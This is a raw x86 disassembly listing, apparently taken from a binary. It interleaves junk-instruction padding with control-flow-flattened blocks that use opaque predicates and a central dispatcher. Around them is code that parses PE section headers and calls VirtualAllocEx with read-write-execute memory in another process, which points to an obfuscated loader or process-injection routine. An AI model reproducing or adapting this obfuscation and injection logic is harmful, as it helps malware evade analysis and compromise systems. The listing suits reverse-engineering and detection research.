not ebx
mov edx, 0x4b
not eax
bswap esi
ror edx, 0x7d
not edx
ror esi, 1
dec esi
or edi, 0xd1
imul eax
or esi, 0x2f
neg esi
not esi
not edi
mov edx, 0xaa
rol edx, 0x38
bswap esi
bswap esi
rcr edi, 0xc1
sbb edi, 7
mov edi, 0xd6
inc edx
ror eax, 0x89
inc edx
imul eax
add ebx, 0
imul eax
neg edi
not edx
dec eax
rol eax, 0xfe
mov edx, 0x65
rcr edx, 0xcb
add esi, 0xb1
add eax, 0x47
bswap eax
neg edx
sbb edx, 0x9f
ror edi, 0x7d
not edi
rol ebx, 0xef
not edi
neg esi
imul edx
neg edi
and ebx, 0xf8
imul edx
neg esi
dec edx
sbb esi, 0xfc
rol eax, 0xba
neg ebx
rol edi, 0x2f
rcr edi, 0
dec edx
not esi
bswap edx
rcr ebx, 0xd8
ror edi, 0x55
imul edi
inc ebx
not esi
not edi
sub edx, 0x24
add edi, 0x78
dec edx
or esi, 0x41
neg eax
ror esi, 0x75
mov eax, 0xc7
or eax, 0x38
inc edi
not eax
sbb edi, 0x2b
rol eax, 0x9d
or esi, 0x7f
and edx, 0xdf
add ebx, 0xdf
bswap edx
or esi, 0x3b
rcl edi, 0xa1
not edx
mov eax, 0x94
imul edi
dec ebx
or esi, 0x4c
sub edi, 0x50
ror edx, 0xc6
dec eax
rcr eax, 0x95
dec esi
inc edi
inc ebx
rcr eax, 0x94
bswap ebx
rcl esi, 3
not eax
not esi
add ebx, 0xf3
dec edi
and edx, 0x26
rol edi, 9
ror edx, 0xfc
mov edx, 0x63
or edx, 0x78
inc edi
bswap ebx
inc esi
not edx
not edx
add ebx, 0x7c
rcl edi, 0xed
ror esi, 0xcd
dec eax
sub esi, 0x88
not edi
neg edx
not eax
bswap edx
bswap ebx
mov edx, 0x46
bswap eax
imul ebx
dec esi
rol edx, 0xcc
rcr edi, 0x29
imul edi
sbb eax, 0x88
bswap ebx
and edi, 0x27
dec edx
rol edi, 0xd1
mov edx, 0x8f
or edi, 0x79
add ebx, 0xb7
not edi
mov ebx, 0xb9
mov esi, 0x1e
or eax, 0xa1
not esi
not ebx
bswap esi
mov edx, 0x6a
mov esi, 0x59
neg eax
or esi, 0x1c
imul edx
dec edx
imul esi
neg ebx
not edx
add eax, 0xff
dec edi
and edi, 0x3f
sub ebx, 0xe3
imul eax
sbb eax, 0xcf
and edi, 0x37
dec esi
bswap esi
bswap eax
neg eax
inc esi
bswap edx
and eax, 0x7f
add esi, 0xa1
not ebx
rcr edx, 0x92
dec ebx
rcl edi, 0xb5
inc edx
dec edi
add edi, 0x89
and edx, 0x10
inc ebx
inc esi
sub edx, 0x73
sbb edi, 0xbe
dec ebx
not edx
rol edx, 0x6b
sbb edx, 0xee
rcl edi, 0x14
rcl edi, 0x7b
sub eax, 0x81
bswap edx
bswap ebx
bswap edi
bswap eax
inc edi
or esi, 0xa6
ror ebx, 0x25
or esi, 0x9e
rcl edi, 0x55
inc esi
neg eax
dec eax
not esi
not edi
inc ebx
and eax, 0xe6
imul eax
neg eax
imul edi
not esi
imul edx
imul eax
and eax, 0xfe
dec esi
dec ebx
rcr ebx, 0x40
dec esi
or eax, 0xe9
ror esi, 0xae
rcr edi, 0xad
inc eax
ror esi, 0xe1
rol edx, 0xca
rcr edi, 0xe8
ror eax, 0xff
bswap edx
add ebx, 0xb8
ror edi, 7
neg esi
or edi, 0x6f
bswap esi
bswap ebx
inc esi
dec ebx
imul edx
neg eax
rcl ebx, 0x36
imul edx
or edi, 0x88
sub esi, 0xf1
imul eax
inc esi
rcr edi, 0x69
inc esi
mov eax, 0x7e
bswap eax
or edx, 0x8a
neg ebx
rol ebx, 0x47
rol ebx, 0x22
and edi, 0xb7
inc eax
imul eax
inc ebx
dec ebx
imul edx
inc esi
rol ebx, 0x6e
sub ebx, 0xb1
imul edi
mov edi, 0x79
inc edi
sbb esi, 0x13
bswap edx
dec edx
sub edx, 0xdc
mov edx, 0xa9
rcr ebx, 0x9f
or eax, 0xe4
not edi
dec eax
inc edi
mov edi, 0x45
imul eax
add edi, 0x86
not esi
not edi
imul edi
imul esi
push 0x48800
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, 0x3a809883
jmp 0x402240
cmp dword [ebp - 0x188], 0
mov eax, 0x87ececda
mov ecx, 0x61456141
cmovns eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x124], eax
mov eax, 0x92c54e30
jmp 0x402240
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, 0x20e920de
jmp 0x402240
mov eax, 0x90935cf5
jmp 0x402240
mov eax, 0xa39fc152
jmp 0x402240
mov eax, 0x53c65ca9
jmp 0x402240
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xabef77d5
mov edx, eax
not edx
mov edi, eax
or edi, 0x54000008
and ecx, eax
and edi, 0xf6e84649
and edx, 0x9073194
mov esi, ecx
not esi
and ecx, 0x917b9b6
or edx, edi
or eax, esi
and esi, 0xf6e84649
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x5410882a
and eax, 0xabef77d5
or eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x92582fcd
and eax, 0x973b2740
mov ecx, edx
and edx, 0x6da7d032
or ecx, 0x20000000
or esi, edx
mov edi, ecx
and edi, 0x48c4d8bf
mov edx, esi
xor edx, 0xb2182740
xor esi, 0x4da7d032
or eax, edi
or ecx, esi
and esi, 0x48c4d8bf
and edx, 0xb73b2740
or edx, esi
not ecx
xor edx, eax
mov eax, 0x573695f3
or ecx, edx
cmp ecx, 0xffffffff
setne byte [ebp - 0x79]
jmp 0x402240
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [eax]
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
setb byte [ebp - 0x71]
imul eax, ecx
mov ecx, eax
xor ecx, 0x98a9a9d9
mov edx, eax
not edx
and ecx, eax
or eax, 0x67565626
and edx, 0x88018981
mov esi, eax
and esi, 0x10fc745c
or edx, esi
mov esi, ecx
not esi
and ecx, 0xef038ba3
or eax, esi
and esi, 0x10fc745c
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2125bece
and ecx, 0xdeda4131
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x44100a8
xor edx, 0xb98c1717
xor ecx, 0xb98c1716
and ecx, edx
and eax, 0xac4113b8
and edx, 0x53beec47
or edx, eax
mov eax, ecx
not eax
and ecx, 0xf7983b0d
mov esi, eax
and esi, 0x867c4f2
or ecx, esi
mov esi, edx
xor esi, 0x53982804
xor edx, 0xac4113b9
or eax, edx
and edx, 0x867c4f2
and esi, 0xf7983b0d
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xd6adc660
mov ecx, eax
not ecx
and eax, 0xae03af24
and ecx, 0x51fc50db
or ecx, eax
xor ecx, 0xae03af24
sete ah
setne ch
cmp dword [0x4a2b80], 0xa
setge dl
setl cl
mov al, dl
or dl, ch
and ch, cl
xor cl, ah
xor dl, 1
and al, ah
or dl, cl
xor cl, 1
or al, ch
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x3e1c7d87
cmovne eax, esi
test dl, dl
mov edx, 0x3e1c7d87
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x1c]
mov eax, 0xa50007a0
jmp 0x402240
mov eax, dword [ebp - 0x2c]
mov eax, 0x193a8f3b
jmp 0x402240
mov eax, 0x88a7b11
jmp 0x402240
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x4c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, 0x66325fbf
jmp 0x402240
mov eax, dword [0x4a2b84]
mov esi, 0xebb9621
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x4a254f1e
mov edx, ecx
and edx, 0x4025011e
and eax, ecx
not ecx
and ecx, 0xa004e00
or edx, ecx
xor edx, 0x4025011e
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2c214e8f
and ecx, 0xd3deb170
or eax, ecx
mov ecx, eax
xor eax, 0x99fbfe6e
xor ecx, 0x66040191
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov eax, ecx
xor eax, 0x389e0271
and eax, ecx
not ecx
and ecx, 0x389e0271
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe56ee32f
and ecx, 0x1a911cd0
or eax, ecx
xor eax, 0xddf0e15e
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
setge cl
setl ch
mov al, cl
or ch, dl
or cl, ah
xor ch, 1
xor cl, 1
xor al, ah
or cl, ch
and al, ah
mov ah, cl
mov ch, cl
xor al, 1
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, 0x22b8faa2
xor dl, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0x22b8faa2
jmp 0x40bc77
cmp byte [ebp - 0x70], 0
mov eax, 0x234d1cf7
mov ecx, 0x50c466e6
cmovne eax, ecx
jmp 0x402240
mov dword [ebp - 0xd8], 0
mov eax, 0x1a4cc67a
jmp 0x402240
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
mov eax, 0x4b5f1e80
jmp 0x402240
mov eax, 0x57bb8847
jmp 0x402240
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0xa0]
push 0x40
push 0x3000
push dword [eax + 0x38]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xe8], eax
mov eax, 0x34ca806c
jmp 0x402240
rcl esi, 0x93
rcl edi, 0xce
bswap eax
inc ebx
or ebx, 0xe1
rcr edx, 0x8e
or edx, 0xa8
inc esi
neg edx
inc edi
ror edi, 0x7c
inc eax
rcl ebx, 0xaf
bswap edx
inc ebx
sub edx, 0xcb
dec ebx
bswap esi
ror edx, 0x30
neg edx
rcl edx, 0xfe
neg edx
or ebx, 0xe6
imul eax
bswap esi
rcr edx, 0x60
imul edx
rcl edx, 0xc1
ror edi, 0xe0
dec edi
dec esi
imul esi
rol ebx, 0xd3
and edx, 0x59
inc ebx
ror edx, 0xa5
rcr eax, 0x44
rol edx, 0x96
dec edx
dec edi
sub edi, 0x87
not ebx
ror edx, 0xbb
sub esi, 0xdd
inc eax
sub esi, 0xa9
rcl eax, 0xba
rcr ebx, 0x37
inc edi
not ebx
mov esi, 0x55
bswap esi
inc eax
not edi
neg ebx
dec esi
bswap edx
inc esi
rcl edx, 0x3d
rcl esi, 0x20
mov edi, 6
dec esi
dec eax
dec esi
neg esi
neg edi
dec esi
rcl edx, 0x66
add esi, 0xd4
imul esi
imul ebx
and edi, 0x24
sbb ebx, 0xbd
dec eax
not edi
mov esi, 0x42
neg edi
bswap edi
rol esi, 0x84
ror ebx, 0xd1
dec eax
add eax, 0x61
bswap edi
bswap esi
sbb esi, 0x95
neg edx
neg eax
dec edi
bswap esi
inc esi
imul edx
bswap edx
inc edx
add eax, 0xb1
not ebx
add edx, 0x7e
sbb edi, 0x2b
sub eax, 0xcc
inc ebx
dec esi
add ebx, 0x47
rcl esi, 0xc9
imul ebx
and eax, 0x92
sub edi, 0x93
and edx, 0x4a
and edi, 8
not edx
or ebx, 0xfd
sbb edi, 0x37
imul edx
bswap edi
neg edi
not edx
rcr edx, 0xfe
bswap ebx
rcl edx, 0xae
and esi, 0xf0
or edx, 0xb5
imul edi
mov ebx, 0xfe
sbb edi, 0x3f
bswap eax
sub ebx, 0xe4
imul eax
add eax, 0x54
rcr esi, 0xbc
and eax, 0x88
bswap edx
dec eax
add edx, 0x76
ror edx, 0xf7
mov eax, 0x27
inc edi
bswap esi
inc ebx
and edi, 0x30
bswap edx
inc eax
rol edx, 0x27
add edi, 0xc8
bswap ebx
bswap eax
bswap eax
neg edx
mov edx, 0xca
imul eax
bswap edx
sub esi, 0x8c
bswap edx
bswap edi
and edx, 0x81
sbb ebx, 0x3b
sbb ebx, 0x35
neg eax
not ebx
add esi, 0x2a
not edi
and edx, 0xfa
or esi, 0x87
imul ebx
or ebx, 0xe
dec ebx
imul edx
sbb edx, 0x72
and esi, 0xc6
dec esi
sub ebx, 0xb3
not edi
dec ebx
and edi, 0x29
rcl edx, 0xaf
sub esi, 0xce
inc ebx
inc edi
bswap edx
rol edx, 0x5e
imul ebx
mov ebx, 0x44
imul edi
inc eax
imul edx
add esi, 6
sub esi, 0x99
mov esi, 0xe3
bswap eax
mov eax, 0x6a
not esi
and edi, 0xf6
rcl esi, 0xb3
neg esi
sub edi, 0x8a
sub edi, 0x5c
add edx, 0x39
imul eax
rcl eax, 0xb2
mov ebx, 0x56
bswap esi
bswap edx
inc edx
neg esi
rol edi, 0x4f
not edi
dec eax
sub esi, 0x53
inc edx
inc edx
rcr esi, 0x9f
dec esi
dec edi
neg edi
not eax
ror eax, 0x70
bswap ebx
inc edx
mov esi, 0xe4
mov edi, 0x22
neg eax
bswap esi
imul eax
inc eax
inc ebx
rol ebx, 0xd1
ror ebx, 0x17
neg eax
ror edx, 0x1f
or edi, 0xfd
and ebx, 0x51
ror ebx, 0x36
sub esi, 0xa3
rcl edi, 0x1e
or eax, 0xfe
sub esi, 0x47
sbb edx, 0x2b
sub esi, 0xa8
add eax, 0xb4
imul edx
bswap eax
imul edx
inc edx
ror ebx, 0xb5
and eax, 0x49
imul edx
sbb esi, 0x69
rcl edi, 0x1a
mov ebx, 0x95
sbb ebx, 0x1f
neg esi
inc esi
sub ebx, 0xd6
rcl edi, 0xc0
mov eax, 0xc8
bswap edx
rol eax, 0x2d
rol eax, 0xf3
sub edx, 0x36
add ebx, 0x97
neg edx
neg eax
and esi, 0x79
imul edx
imul eax
inc esi
bswap esi
not eax
rol edx, 0xaa
imul edi
sub edx, 0xac
neg eax
sub edi, 0x67
inc edx
rol ebx, 0x60
inc edx
mov eax, 0x90
or eax, 0x2a
sub eax, 0x27
or edx, 0x13
rcr edi, 0x4e
or edx, 0x55
ror eax, 0xbc
sub esi, 0xea
inc edx
mov esi, 0xd8
neg edi
imul edx
neg edx
or esi, 0x7e
imul ebx
dec eax
neg eax
inc edi
inc eax
neg edi
rol eax, 0x7a
sub edx, 0xa7
or ebx, 0xcc
dec edi
bswap eax
dec eax
rcl edi, 0xf9
rcr eax, 0x19
rol edx, 0xf0
sbb edi, 0xbb
rcl edx, 0xac
ror esi, 0xf
sbb eax, 0x64
sub edi, 0x5a
mov eax, 0x2d
ror esi, 0xec
sub edi, 0xb4
neg esi
inc edx
add ebx, 0xef
imul esi
rcl ebx, 0x94
rcr ebx, 0xc4
bswap eax
inc esi
rcl esi, 0x4a
add esi, 0x4d
neg esi
add eax, 0x86
mov eax, 0xd6
mov edx, 0x83
neg ebx
dec esi
not edx
inc ebx
inc eax
add eax, 0x85
neg edi
bswap edx
rol edi, 0x36
bswap edx
sbb edx, 0x53
rcr esi, 0x71
dec edi
ror edi, 6
sbb esi, 1
imul esi
ror edi, 0x2d
dec edi
dec esi
dec esi
imul edx
rcr edi, 0xf0
neg edx
inc edi
inc edx
bswap edi
rcl edi, 0xa3
bswap esi
rcr ebx, 0xe7
dec edi
inc esi
ror ebx, 0x4c
and eax, 0x12
rcl esi, 0x78
not eax
and edx, 0xd2
bswap edx
not edi
sbb ebx, 0xea
bswap eax
and ebx, 0xdc
inc edi
mov ebx, 0x50
mov edx, 0xc0
dec edi
and eax, 2
bswap edi
bswap eax
or esi, 0x95
or edi, 0xfc
not edi
not esi
not esi
imul edi
bswap edx
imul ebx
rol edi, 0x4b
bswap esi
bswap eax
not ebx
neg edi
sbb eax, 0x84
rol edx, 0xb5
sbb edx, 0xd
mov edx, 0x87
and ebx, 0x4d
rcl ebx, 0x9a
inc edx
ror edx, 0x31
not esi
mov edx, 0xee
dec ebx
inc ebx
rcr edx, 0xa9
and edi, 0x4a
bswap edx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x9c]
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x53785bac
and eax, 0xc0014103
mov edx, ecx
and edx, 0xac87a453
or ecx, 0x3210042c
or esi, edx
and ecx, 0x3ed084ac
mov edx, esi
xor esi, 0x20000400
xor edx, 0x1281a00
or eax, ecx
or esi, 0xcc08080
and edx, 0x12e3a50
and esi, 0x3ed084ac
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x679d42ae
and ecx, 0x9862bd51
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x4a21800
xor esi, 0xab5c832d
xor eax, 0x44811880
mov ecx, esi
or ecx, 1
and esi, 0x7341e7fa
and edx, 0x8cbe1805
and eax, 0x4c859ba8
or edx, esi
mov esi, ecx
and esi, 0xb37a6457
or eax, esi
mov esi, edx
xor esi, 0xc841800
xor edx, 0x7341e7fb
or ecx, edx
and edx, 0xb37a6457
and esi, 0x4c859ba8
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, ecx
mov edx, ecx
xor edx, 0x9de894ea
mov eax, ecx
not esi
or eax, 0x62176b15
and edx, ecx
mov ecx, eax
and ecx, 0x79104512
and esi, 0x84e890e8
or esi, ecx
mov ecx, edx
not ecx
and edx, 0x86efbaed
or eax, ecx
and ecx, 0x79104512
or edx, ecx
not eax
xor edx, esi
mov esi, 0xc5350116
or eax, edx
mov ecx, eax
not ecx
and eax, 0x24acd9df
and ecx, 0xdb532620
or eax, ecx
mov ecx, eax
xor ecx, 0x1404134
xor eax, 0x4228a0c0
and ecx, 0x5d3533e
and eax, 0xfa2cacc1
or eax, ecx
mov ecx, eax
xor ecx, 0x550400a
xor eax, 0x7228a440
and eax, 0x72abb774
and ecx, 0x8d54488b
or ecx, eax
xor ecx, 0x8d54488b
sete ah
setne dl
cmp dword [0x4a2b80], 0xa
setl ch
setge al
mov dh, ch
mov cl, ch
xor dh, dl
or cl, dl
not dh
xor cl, 1
and dh, dl
and dl, ch
mov ch, al
xor ch, ah
or cl, dh
and ch, al
and al, ah
or al, dl
xor ch, 1
xor al, 1
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
test al, 1
mov eax, 0xea82d903
cmovne esi, eax
test dl, 1
mov edx, 0xc5350116
mov eax, esi
cmovne eax, edx
test cl, cl
cmove eax, esi
jmp 0x402240
mov eax, 0x30f2db5f
jmp 0x402240
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0xd9dc0592
jmp 0x402240
mov eax, dword [ebp - 0x14c]
mov ecx, 0x6ec3bd37
cmp eax, dword [ebp - 0x150]
mov eax, 0x201aa3ee
cmovl eax, ecx
jmp 0x402240
mov eax, dword [ebp - 0x40]
mov dword [eax], 2
mov eax, 0x56f10c4f
jmp 0x402240
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x108], eax
mov eax, 0xc413fc07
jmp 0x402240
movzx eax, word [ebp - 0xca]
mov dword [ebp - 0x150], eax
mov eax, 0x1da800dc
jmp 0x402240
mov eax, 0x74d45f07
jmp 0x402240
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x84]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov eax, 0x39f09083
jmp 0x402240
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0xca], ax
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x37d05916
mov esi, edx
and esi, 0xc82fa6e8
and edx, 0x354adb84
or eax, esi
mov esi, eax
xor esi, 0x35d00806
xor eax, 0xc82fa6e9
mov edi, eax
and edi, 0xc207d358
and esi, 0x3df82ca6
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xcab5247b
mov ebx, edi
not ebx
and edi, 0x3df82ca7
or ecx, edx
or eax, ebx
and ebx, 0xc207d358
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0xfd82141d
and esi, 0x27debe2
or eax, esi
mov esi, eax
xor esi, 0xf4021410
xor eax, 0x27debe2
mov edx, eax
and edx, 0x9a4a2cf
and esi, 0xf65b5d30
or esi, edx
mov edx, ecx
xor edx, 0xc2110430
xor ecx, 0x354adb84
or eax, ecx
and ecx, 0x9a4a2cf
and edx, 0xf65b5d30
or edx, ecx
not eax
xor edx, esi
mov esi, 0x75cc6ef4
or eax, edx
mov ecx, eax
not ecx
and eax, 0x92376600
and ecx, 0x6dc899ff
or eax, ecx
xor eax, 0x92376600
setne cl
sete al
cmp dword [0x4a2b80], 0xa
setl dl
setge ch
mov ah, dl
or dl, cl
xor ah, al
xor al, ch
and al, ch
or al, ah
and ah, cl
xor ah, 1
mov cl, ah
or ah, dl
xor cl, dl
xor ah, 1
or ah, cl
mov ecx, eax
mov dl, ah
xor cl, 1
xor dl, al
and al, ah
and dl, ah
xor ah, 1
and ah, cl
mov ecx, edx
or al, ah
xor cl, al
test al, al
mov eax, 0x12e31c6b
cmovne eax, esi
test dl, 1
mov edx, 0x12e31c6b
jmp 0x40bafe
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0xe42f5ddc
jmp 0x402240
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x178], eax
mov eax, 0xc51d20de
jmp 0x402240
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
add eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
mov eax, 0x5fa8b481
jmp 0x402240
mov eax, dword [ebp - 0x40]
mov dword [eax], 4
mov eax, 0x159f4672
jmp 0x402240
movzx edx, byte [ebp - 0x6d]
mov ah, byte [ebp - 0x6e]
mov al, ah
mov ecx, edx
xor al, 1
xor cl, 1
and dl, al
or al, cl
and cl, ah
mov ch, al
or cl, dl
xor ch, 1
mov edx, ecx
mov ah, ch
xor dl, 1
and ah, al
and cl, dl
xor ah, 1
xor cl, 1
or ah, al
xor ah, 1
or ah, ch
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
or dl, al
or cl, ch
mov ch, dl
xor cl, ah
mov eax, 0x3a809883
xor ch, cl
test dl, 1
mov edx, 0x8cc4e918
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x3a809883
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
inc eax
mov dword [ecx], eax
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x182723
mov edx, eax
and edx, 0xa1200040
and eax, 0x2c4c5a9b
or esi, edx
mov edx, ecx
and edx, 0x5ec7d89c
and ecx, 0xd3b3a564
xor esi, 0x182723
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0xddc26856
and esi, 0x223d97a9
or edx, esi
mov esi, edx
xor esi, 0x2c484a10
xor edx, 0x8305b0cb
mov edi, edx
and edi, 0xd3b3a564
and esi, 0x2c4c5a9b
or esi, edi
mov edi, 0x1e86f1c2
xor eax, esi
mov esi, 0xbdb1960a
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
mov ecx, edx
setl ch
setge al
and dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
and al, ah
and cl, ch
or al, dl
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test dl, cl
cmove eax, esi
jmp 0x402240
mov eax, 0x5d33e117
jmp 0x402240
mov eax, 0x59db8b5d
jmp 0x402240
mov eax, 0x853f788b
jmp 0x402240
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, 0x646c76db
jmp 0x402240
mov eax, dword [ebp - 0xe4]
mov eax, 0x3c434a29
jmp 0x402240
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0x10]
mov dword [ebp - 0xf8], eax
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
mov eax, edx
not ecx
or eax, 1
mov edi, ecx
mov esi, eax
and esi, 0xc389f8be
and edi, 0x3c760740
and ecx, 0x138ab274
or edi, esi
mov esi, edx
xor esi, 0xfffffffe
and esi, edx
mov ebx, esi
not ebx
and esi, 0x3c760741
or eax, ebx
and ebx, 0xc389f8be
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xb69f79f9
and esi, 0x49608606
or eax, esi
mov esi, eax
xor esi, 0x128a3070
xor eax, 0x49608606
mov edi, eax
or eax, edx
and edx, 0xec754d8b
and edi, 0xec754d8b
and esi, 0x138ab274
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x93eb04ea
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb5f3467
and ecx, 0xf4a0cb98
or eax, ecx
xor eax, 0xb5f3467
sete dl
setne ah
cmp dword [0x4a2b80], 0xa
setl al
setge cl
and ah, cl
and al, dl
or al, ah
xor al, 1
or al, cl
xor cl, dl
xor cl, 1
mov ah, cl
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x72fc197e
cmovne ecx, esi
test al, 1
mov eax, 0x72fc197e
jmp 0x40bc77
mov eax, 0x853f788b
jmp 0x402240
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x5c]
inc eax
mov dword [ecx], eax
mov eax, 0x21b45faf
jmp 0x402240
mov eax, dword [ebp - 0x48]
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xdab670ba
mov esi, eax
and esi, 0x25498f44
and eax, 0xc23373f5
or ecx, esi
mov esi, ecx
xor esi, 0xa0670b0
xor ecx, 0x25498f45
mov edi, ecx
and edi, 0xd4f10c4b
and esi, 0x2b0ef3b4
or esi, edi
mov edi, edx
xor edi, 0xfffffffe
and edi, edx
mov ebx, edi
not ebx
and edi, 0x2b0ef3b4
or ecx, ebx
and ebx, 0xd4f10c4b
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x8c02560b
and esi, 0x73fda9f4
or ecx, esi
mov esi, ecx
xor esi, 0x80025201
xor ecx, 0x73fda9f4
mov edi, ecx
or ecx, edx
and edx, 0x3dcc8c0a
and edi, 0x3dcc8c0a
and esi, 0xc23373f5
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0x9fceccc9
or ecx, eax
xor ecx, 0xffffffff
sete ah
setne cl
cmp dword [0x4a2b80], 0xa
setl dl
setge al
mov dh, dl
mov ch, al
or dl, ah
xor ch, cl
and dh, cl
or cl, al
and al, ah
or al, dh
and cl, ch
xor al, 1
mov ch, cl
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, 0xd5a21c29
xor dl, al
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
not al
cmove ecx, esi
test al, 1
mov eax, 0xd5a21c29
jmp 0x40e0fc
mov eax, 0x89284a82
jmp 0x402240
cmp byte [ebp - 0x77], 0
mov eax, 0x61456141
